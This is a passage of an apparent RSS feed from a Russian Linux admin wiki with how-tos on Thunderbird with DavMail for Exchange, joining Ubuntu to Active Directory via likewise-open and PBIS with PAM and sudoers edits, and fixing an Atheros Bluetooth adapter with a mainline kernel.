Для этого можно использовать связку &lt;strong&gt;Thunderbird + Davmail&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;Davmail&lt;/strong&gt; (&lt;a href=&quot;http://sourceforge.net/projects/davmail/files/&quot; class=&quot;urlextern&quot; title=&quot;http://sourceforge.net/projects/davmail/files/&quot; rel=&quot;ugc nofollow&quot;&gt;http://sourceforge.net/projects/davmail/files/&lt;/a&gt;)&lt;br/&gt;

&lt;strong&gt;DavMail&lt;/strong&gt; это почтовый шлюз между клиентом и сервером MS Exchange. С сервером &lt;strong&gt;Microsoft Exchange&lt;/strong&gt; он взаимодействует через web-интерфейс &lt;strong&gt;OWA&lt;/strong&gt; и создает на локальной машине &lt;strong&gt;IMAP&lt;/strong&gt; и &lt;strong&gt;SMTP&lt;/strong&gt; сервер.&lt;br/&gt;

Настройка &lt;strong&gt;DavMail&lt;/strong&gt; сводится к указанию адреса &lt;strong&gt;OWA&lt;/strong&gt; и портов подключения. В почтовом клиенте (например - &lt;strong&gt;Thunderbird&lt;/strong&gt;) в качестве &lt;strong&gt;SMTP&lt;/strong&gt;, &lt;strong&gt;IMAP&lt;/strong&gt; или &lt;strong&gt;POP&lt;/strong&gt; серверов необходимо указать &lt;strong&gt;localhost&lt;/strong&gt; и соответствующий порт.&lt;br/&gt;

Итак, скачиваем и устанавливаем. Можно скачать с сайта, а можно поставить из репозитория:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install davmail&lt;/pre&gt;

&lt;p&gt;
Запускаем, в поле &lt;strong&gt;OWA Exchange &lt;abbr title=&quot;Uniform Resource Locator&quot;&gt;URL&lt;/abbr&gt;&lt;/strong&gt; вводим адрес страницы &lt;strong&gt;OWA&lt;/strong&gt; в виде: &lt;strong&gt;&lt;a href=&quot;https://_ms_xechange_address_/OWA_site/&quot; class=&quot;urlextern&quot; title=&quot;https://_ms_xechange_address_/OWA_site/&quot; rel=&quot;ugc nofollow&quot;&gt;https://_ms_xechange_address_/OWA_site/&lt;/a&gt;&lt;/strong&gt;&lt;br/&gt;

На этом можно закончить настройку &lt;strong&gt;Davmail&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Теперь запускаем &lt;strong&gt;Thunderbird&lt;/strong&gt; и создаем &lt;strong&gt;Mail Account&lt;/strong&gt;.&lt;br/&gt;

Для сервера входящей почты выбираем:&lt;br/&gt;

&lt;strong&gt;Type&lt;/strong&gt; - IMAP, &lt;br/&gt;

&lt;strong&gt;Server&lt;/strong&gt; - localhost,&lt;br/&gt;

&lt;strong&gt;Port &lt;/strong&gt;- 1143,&lt;br/&gt;

&lt;strong&gt;SSL&lt;/strong&gt; - None,&lt;br/&gt;

&lt;strong&gt;Authentication&lt;/strong&gt; - normal password.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Для исходящей почты:&lt;br/&gt;

&lt;strong&gt;Type&lt;/strong&gt; - SMTP&lt;br/&gt;

&lt;strong&gt;Server&lt;/strong&gt; - localhost&lt;br/&gt;

&lt;strong&gt;Port&lt;/strong&gt; - 1025&lt;br/&gt;

&lt;strong&gt;SSL&lt;/strong&gt; - None&lt;br/&gt;

&lt;strong&gt;Authentication&lt;/strong&gt; - normal password.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
После этого можно протестировать настройки кнопкой &lt;strong&gt;Re-test&lt;/strong&gt; и нажать &lt;strong&gt;Done&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0447\u0442\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435_\u043f\u043e\u0447\u0442\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-2122&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;адресная_книга_из_ad&quot;&gt;Адресная книга из AD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Дальше можно настроить получение адресной книги из &lt;strong&gt;Active Directory&lt;/strong&gt;.&lt;br/&gt;

Для этого в Thunderbird идем в меню: &lt;strong&gt;Edit&lt;/strong&gt; → &lt;strong&gt;Preferences&lt;/strong&gt; → &lt;strong&gt;Composition&lt;/strong&gt; → вкладка &lt;strong&gt;Addressing&lt;/strong&gt; → ставим галочку &lt;strong&gt;Directory Server&lt;/strong&gt; и потом жмем &lt;strong&gt;Edit Directories&lt;/strong&gt;.&lt;br/&gt;

Там создаем запись каталога &lt;strong&gt;AD&lt;/strong&gt;  кнопкой &lt;strong&gt;Add&lt;/strong&gt;. &lt;br/&gt;

Дальше вводим:&lt;br/&gt;

&lt;strong&gt;Name&lt;/strong&gt; - Отображаемое имя.&lt;br/&gt;

&lt;strong&gt;Hostname&lt;/strong&gt; -  localhost (предполагаем что Davmail стоит локально) &lt;br/&gt;

&lt;strong&gt;Base DN&lt;/strong&gt; - тут указываем имя домена из которого будем извлекать учетки. Если домен у нас &lt;strong&gt;firm.domain.com&lt;/strong&gt;, то пишем: &lt;strong&gt;ou=Users,DC=firm,DC=domain,DC=com&lt;/strong&gt;&lt;br/&gt;

&lt;strong&gt;Port number&lt;/strong&gt; - по умолчанию - &lt;strong&gt;1389&lt;/strong&gt; (или указанный в настройках Davmail).&lt;br/&gt;

&lt;strong&gt;Bind DN&lt;/strong&gt; - имя учетки DOMAIN\username &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Все. Дальше идем на вкладку &lt;strong&gt;Offline&lt;/strong&gt; и проверяем как все работает. Нажимаем кнопку &lt;strong&gt;Download&lt;/strong&gt;, вводим доменный пароль пользователя, указанного в &lt;strong&gt;Bind DN&lt;/strong&gt; и видим, что программа получает список учеток из домена.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Затем закрываем окно редактирования и на вкладке &lt;strong&gt;Addressing&lt;/strong&gt; в списке &lt;strong&gt;Directory Server&lt;/strong&gt; выбираем только что созданный сервер. &lt;br/&gt;

Теперь при создании писем будет работать адресная книга.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Всё.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0434\u0440\u0435\u0441\u043d\u0430\u044f \u043a\u043d\u0438\u0433\u0430 \u0438\u0437 AD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0434\u0440\u0435\u0441\u043d\u0430\u044f_\u043a\u043d\u0438\u0433\u0430_\u0438\u0437_ad&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;2123-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu-14-04-ввдение-хоста-в-домен-ad-с-помощью-likewise-open</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu-14-04-%D0%B2%D0%B2%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5-%D1%85%D0%BE%D1%81%D1%82%D0%B0-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD-ad-%D1%81-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E-likewise-open</link>
            <description>
&lt;p&gt;
Из стандартного репозитория Ubuntu 14.04 пакет likewise-open не ставится. Поэтому скачиавем и ставим его руками:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://cz.archive.ubuntu.com/ubuntu/pool/main/l/likewise-open/likewise-open_6.1.0.406-0ubuntu5_amd64.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/libg/libglade2/libglade2-0_2.6.4-1ubuntu1_amd64.deb
sudo dpkg -i likewise-open_6.1.0.406-0ubuntu5_amd64.deb
sudo dpkg -i libglade2-0_2.6.4-1ubuntu1_amd64.deb&lt;/pre&gt;

&lt;p&gt;
Присоединяемся к домену:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo domainjoin-cli join domainName ADjoinAccount&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;domainName&lt;/strong&gt; имя домена в формате &lt;strong&gt;contonso.com&lt;/strong&gt;
&lt;strong&gt;ADjoinAccount&lt;/strong&gt; - админская учетка в домене. Просто логин пользовтаеля без домена.
&lt;/p&gt;

&lt;p&gt;
И перезагружаеся:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo reboot&lt;/pre&gt;

&lt;p&gt;
Теперь можно проверить что мы нормально читаем учетки из домена:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;getent passwd&lt;/pre&gt;

&lt;p&gt;
В выводе будут все прочитанные учетки.&lt;br/&gt;

Чтобы увидеть группы выполняем: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;getent group &lt;/pre&gt;

&lt;p&gt;
Дальше проверяем. что в &lt;strong&gt;/etc/pam.d/common-session&lt;/strong&gt; вместо &lt;strong&gt;session sufficient pam_lsass.so&lt;/strong&gt; написано так:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;session [success=ok default=ignore] pam_lsass.so&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;likewise-open&lt;/strong&gt; все прописывает верно. в отличие от PBIS.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Дальше прописываем префикс домена и чтобы можно было всходить с логином без указания домена:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lwconfig AssumeDefaultDomain true
sudo lwconfig UserDomainPrefix DOMAINNAME&lt;/pre&gt;

&lt;p&gt;
Также может понадобиться изменить путь к хомам юзверей (по-умолчанию он такой: /%H/likewise-open/%D/%U):&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lwconfig HomeDirTemplate %H/%D/%U&lt;/pre&gt;

&lt;p&gt;
Также можно добавить доменного пользователя в файлик &lt;strong&gt;/etc/sudoers&lt;/strong&gt;, для того, чтобы работал &lt;strong&gt;sudo&lt;/strong&gt;.&lt;br/&gt;

Открываем &lt;strong&gt;/etc/sudoers&lt;/strong&gt; и добавляем туда:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;username     ALL=(ALL:ALL) ALL&lt;/pre&gt;

&lt;p&gt;
Чтобы могли с админискими правами логиниться администраторы домена добавляем имя группы из вывода &lt;strong&gt;getent group&lt;/strong&gt;. Не забываем что слеш \ - экранирующий спецсимвол, поэтому его удваиваем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;%DOMAINNAME\\domain^admins     ALL=(ALL:ALL) ALL&lt;/pre&gt;

&lt;p&gt;
Еще может понадобиться заменить &lt;strong&gt;shell&lt;/strong&gt; (/bin/sh), устанавливаемый по-умолчанию на &lt;strong&gt;/bin/bash&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lwconfig LoginShellTemplate /bin/bash&lt;/pre&gt;

&lt;p&gt;
Теперь мы можем логиниться с доменным логином, без указания домена.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu-14-04-и-atheros-ar3011-bluetooth</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu-14-04-%D0%B8-atheros-ar3011-bluetooth</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В моем ноутбуке установлен &lt;strong&gt;Bluetooth&lt;/strong&gt; адаптер &lt;strong&gt;Atheros AR3011&lt;/strong&gt;, который не стал нормально определяться в &lt;strong&gt;Ubuntu 14.04&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-227&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Пляски с бубном и попытки загрузить &lt;strong&gt;firmware&lt;/strong&gt; для модуля &lt;strong&gt;bluetooth ath3k&lt;/strong&gt; результата не давали. &lt;br/&gt;

Причина оказалась в баге в ядре, который был исправлен только в середине июля 2014. &lt;br/&gt;

Вот описание бага: &lt;a href=&quot;https://bugzilla.kernel.org/show_bug.cgi?id=73981&quot; class=&quot;urlextern&quot; title=&quot;https://bugzilla.kernel.org/show_bug.cgi?id=73981&quot; rel=&quot;ugc nofollow&quot;&gt;https://bugzilla.kernel.org/show_bug.cgi?id=73981&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
В ядре &lt;strong&gt;3.16-rc6&lt;/strong&gt; уже все поправлено. &lt;br/&gt;

Для нормальной работы &lt;strong&gt;bluetooth&lt;/strong&gt; нужно установить ядро &lt;strong&gt;3.16-rс6&lt;/strong&gt; удалить пакет &lt;strong&gt;firmware-atheros&lt;/strong&gt; (если он был установлен), удалить &lt;strong&gt;linux-firmware&lt;/strong&gt;, почистить папку &lt;strong&gt;/lib/firmware&lt;/strong&gt;, установить &lt;strong&gt;linux-firmware&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.17-rc3-utopic/linux-headers-3.17.0-031700rc3-generic_3.17.0-031700rc3.201408312235_amd64.deb
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.17-rc3-utopic/linux-headers-3.17.0-031700rc3_3.17.0-031700rc3.201408312235_all.deb
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.17-rc3-utopic/linux-image-3.17.0-031700rc3-generic_3.17.0-031700rc3.201408312235_amd64.deb
sudo dpkg -i linux-headers-*.deb linux-image-*.deb
sudo apt-get remove firmware-atheros
sudo apt-get remove linux-firmware
sudo rm /lib/firmware/* -Rf
sudo apt-get install linux-firmware
sudo reboot&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;228-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu-16-04-в-домене-active-directory-windows</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu-16-04-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%B5-active-directory-windows</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;введение_в_домен_ad&quot;&gt;Введение в домен AD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Сначала нужно сделать несколько подготовительных вещей.&lt;br/&gt;

1. Убедиться что имя локального пользователя Ubuntu не совпадает с именем доменного админа.&lt;br/&gt;

2. Прописать &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt; и &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;-суффикс в настройках сетевого соединения. В новых версиях Ubuntu эти параметры задаются для сетевых интерфейсов и прописываются в &lt;strong&gt;/etc/network/interfaces&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# The primary network interface
auto eth0
iface eth0 inet static
address _IP_ADDRESS_
netmask _NETMASK_
gateway _GW_IP_ADDRESS_
dns-nameservers IP_DNS1_ _IP_DNS2_
dns-domain domain.name
dns-search domain.name&lt;/pre&gt;

&lt;p&gt;
Теперь можно установить необходимое ПО и ввести Ubuntu в домен.&lt;br/&gt;

Я использовал &lt;strong&gt;Power Broker Identity Services Open Edition&lt;/strong&gt; - &lt;a href=&quot;https://github.com/BeyondTrust/pbis-open/releases&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/BeyondTrust/pbis-open/releases&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/BeyondTrust/pbis-open/releases&lt;/a&gt;.&lt;br/&gt;

Этот пакет - коммерческий аналог &lt;strong&gt;likewise-open&lt;/strong&gt;. Я ставлю бесплатную версию, которая несколько менее функциональна, чем платная - частности она не поддерживает GPO.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Скачал и установил:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://github.com/BeyondTrust/pbis-open/releases/download/8.5.2/pbis-open-8.5.2.265.linux.x86.deb.sh
chmod a+x pbis-open-8.5.2.265.linux.x86.deb.sh
sudo ./pbis-open-8.5.2.265.linux.x86.deb.sh&lt;/pre&gt;

&lt;p&gt;
При установке на вопрос о “legacy links” я ответил &lt;strong&gt;No&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
После установки сразу можно вводить машину в домен AD:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /opt/pbis/bin/domainjoin-cli join --disable ssh  domainName ADjoinAccount&lt;/pre&gt;

&lt;p&gt;
Тут &lt;strong&gt;domainName&lt;/strong&gt; - имя домена (должно нормально резолвиться), а &lt;strong&gt;ADjoinAccount&lt;/strong&gt; - имя доменной учетной записи, имеющей права на ввод машины в домен.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Теперь нужно немного отредактировать файлик &lt;strong&gt;/etc/pam.d/common-session&lt;/strong&gt;. Там находим строчку &lt;strong&gt;session sufficient pam_lsass.so&lt;/strong&gt; или &lt;strong&gt;session optional pam_lsass.so&lt;/strong&gt;, комментируем ее и в самый конец файла дописываем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;session [success=ok default=ignore] pam_lsass.so&lt;/pre&gt;

&lt;p&gt;
В конец файла эту строку нужно помещать для того, чтобы нормально отрабатывали опциональные модули, а  без &lt;strong&gt;success=ok default=ignore&lt;/strong&gt; пользователя будет пускать в систему, но KDE можно будет запустить только после логина вручную.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
в &lt;strong&gt;/etc/pam.d/common-auth&lt;/strong&gt; в самое начало вставляем (в &lt;strong&gt;Ubuntu 16.04 Server&lt;/strong&gt; + &lt;strong&gt;PBIS 8.5.2.265&lt;/strong&gt; это уже сделано): 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;auth    [success=2 default=ignore]      pam_lsass.so&lt;/pre&gt;

&lt;p&gt;
в &lt;strong&gt;/etc/pam.d/common-account&lt;/strong&gt; в самое начало вставляем (в &lt;strong&gt;Ubuntu 16.04 Server&lt;/strong&gt; + &lt;strong&gt;PBIS 8.5.2.265&lt;/strong&gt; это уже сделано): 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;account [success=ok new_authtok_reqd=ok default=ignore]         pam_lsass.so unknown_ok
account [success=2 new_authtok_reqd=done default=ignore]        pam_lsass.so&lt;/pre&gt;

&lt;p&gt;
в &lt;strong&gt;/etc/pam.d/common-password&lt;/strong&gt; в самое начало вставляем (в &lt;strong&gt;Ubuntu 16.04 Server&lt;/strong&gt; + &lt;strong&gt;PBIS 8.5.2.265&lt;/strong&gt; это уже сделано):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;password        [success=2 default=ignore]      pam_lsass.so&lt;/pre&gt;

&lt;p&gt;
в &lt;strong&gt;/etc/pam.d/common-session-noninteractive&lt;/strong&gt; в конце должно быть так (в &lt;strong&gt;Ubuntu 16.04 Server&lt;/strong&gt; + &lt;strong&gt;PBIS 8.5.2.265&lt;/strong&gt; это уже сделано):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# and here are more per-package modules (the &amp;quot;Additional&amp;quot; block)
session optional        pam_lsass.so 
session required        pam_unix.so
# end of pam-auth-update config&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u0434\u043e\u043c\u0435\u043d AD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0432\u0435\u0434\u0435\u043d\u0438\u0435_\u0432_\u0434\u043e\u043c\u0435\u043d_ad&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;2-4057&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;настройка_экрана_входа&quot;&gt;Настройка экрана входа&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Дефолтная тема KDE &lt;strong&gt;breeze&lt;/strong&gt; не позволяет ввести имя пользователя вручную. Поэтому необходимо установить одну из тем, которые дают такую возможность. &lt;br/&gt;

Список доступных тем можно получить так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-cache search sddm-theme&lt;/pre&gt;

&lt;p&gt;
Устанавливаем темы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install sddm-theme-circles sddm-theme-elarun sddm-theme-lubuntu-chooser sddm-theme-maldives sddm-theme-maui&lt;/pre&gt;

&lt;p&gt;
Дальше идем в меню KDE → Applications → Settings → System Settings → Startup and Shutdown → Login Screen (SDDM) и выбираем одну из тем.
Я выбрал &lt;strong&gt;Circles&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u044d\u043a\u0440\u0430\u043d\u0430 \u0432\u0445\u043e\u0434\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u044d\u043a\u0440\u0430\u043d\u0430_\u0432\u0445\u043e\u0434\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;4058-4847&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;некоторые_дополнительные_настройки&quot;&gt;Некоторые дополнительные настройки&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Список настраиваемых параметров PBIS можно получить командой:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/opt/pbis/bin/config --list&lt;/pre&gt;

&lt;p&gt;
Меняем дефолтную оболочку на православный &lt;strong&gt;bash&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /opt/pbis/bin/config LoginShellTemplate /bin/bash&lt;/pre&gt;

&lt;p&gt;
Включаем автоматичекое дополнение имени домена:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /opt/pbis/bin/config AssumeDefaultDomain true&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435_\u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435_\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;4848-5359&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;даем_права_в_sudo&quot;&gt;Даем права в sudo&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Добавляем доменного пользователя в файлик &lt;strong&gt;/etc/sudoers&lt;/strong&gt;, для того, чтобы работал &lt;strong&gt;sudo&lt;/strong&gt;.&lt;br/&gt;

Открываем &lt;strong&gt;/etc/sudoers&lt;/strong&gt; и добавляем туда:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;username     ALL=(ALL:ALL) ALL &lt;/pre&gt;

&lt;p&gt;
Если не используем опцию &lt;strong&gt;AssumeDefaultDomain true&lt;/strong&gt;, то имя указываем в формате DOMAIN_NAME\\username. Тут нужно обратить внимание на двойной слеш в качестве разделителя &lt;strong&gt;\\&lt;/strong&gt;. Без него не работает.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Например, для добавления доменных админов нужно добавить строку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;%DOMAIN\\domain^admins     ALL=(ALL:ALL) ALL&lt;/pre&gt;

&lt;p&gt;
Обращаем внимание на двойной слеш &lt;strong&gt;\\&lt;/strong&gt; и на &lt;strong&gt;^&lt;/strong&gt; вместо пробела.&lt;br/&gt;

При добавлении групп важно знать включено ли автоматичекое дополнение имени домена (параметр &lt;strong&gt;AssumeDefaultDomain&lt;/strong&gt;). Если включено, то указывать домен не надо:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;%domain^admins     ALL=(ALL:ALL) ALL&lt;/pre&gt;

&lt;p&gt;
Если его указать, то работать не будет. &lt;br/&gt;

В любом случае - группы в которые входит пользователь (в том числе доменый) можно посмотреть командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;groups&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u0430\u0435\u043c \u043f\u0440\u0430\u0432\u0430 \u0432 sudo&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u0430\u0435\u043c_\u043f\u0440\u0430\u0432\u0430_\u0432_sudo&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;5360-6842&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;автоматическое_монтирование_ресурсов_-_pammount&quot;&gt;Автоматическое монтирование ресурсов  - pam.mount&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Теперь можно настроить автоматическое монтирование сетевых ресурсов, например папки с профилем пользователя.&lt;br/&gt;

Тут возникает небольшое затруднение. Монтировать ресурсы можно только от имени суперпользователя. Поэтому нельзя просто положить в &lt;strong&gt;rc.local&lt;/strong&gt; строку вида &lt;strong&gt;mount -t cifs //server /mountpoint&lt;/strong&gt;. &lt;br/&gt;

К счастью есть PAM-модуль &lt;strong&gt;pam_mount&lt;/strong&gt;, который позволяет монтировать ресурсы с повышенными привилегиями на этапе входа пользователя в систему. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Устанавливаем модуль:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install libpam-mount&lt;/pre&gt;

&lt;p&gt;
Оказалось, что с установками по-умолчанию модуль &lt;strong&gt;pam_mount.so&lt;/strong&gt; не монтирует ресурсы. Для того, чтобы модуль работал корректно, нужно отредактировать файл &lt;strong&gt;/etc/pam.d/common-session&lt;/strong&gt;. &lt;br/&gt;

